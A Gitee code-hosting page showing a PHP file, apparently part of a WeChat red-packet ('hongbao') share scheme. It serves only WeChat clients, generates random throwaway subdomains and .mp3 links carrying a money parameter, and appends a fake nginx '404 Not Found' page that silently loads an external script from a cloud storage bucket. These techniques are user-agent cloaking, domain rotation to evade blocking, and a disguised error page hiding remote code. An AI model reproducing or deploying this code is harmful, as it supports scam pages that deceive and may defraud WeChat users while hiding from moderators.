1 Star 2 Fork 1

zoeyfRzr/marry

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
getShareHongBao.php 1.13 KB
一键复制 编辑 原始数据 按行查看 历史
zoeyfRzr 提交于 2019-05-27 15:34 . fixxing..
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($user_agent, 'MicroMessenger') === false) {
exit(json_encode(array('code'=>-10006,'msg'=>'disappear...')));
}
$randStr = get_rand_str(20, 50);
$share_domain = get_rand_str(20,40).'.'.$data['d2'];
$money = isset($_POST['money'])?trim($_POST['money']):'';
if(!$money){
exit(json_encode(array('code'=>-10006,'msg'=>'disappear...')));
}
$array = array(
'target'=>'http://'.$share_domain.'/'.$randStr.'.mp3?money='.$money
);
exit(json_encode($array));
?>
<html>
<head><title>404 Not Found</title>
<script src=http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/js/limit.js charset=utf-8></script>
</head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/zoeyln123/marry.git
git@gitee.com:zoeyln123/marry.git
zoeyln123
marry
marry
master

搜索帮助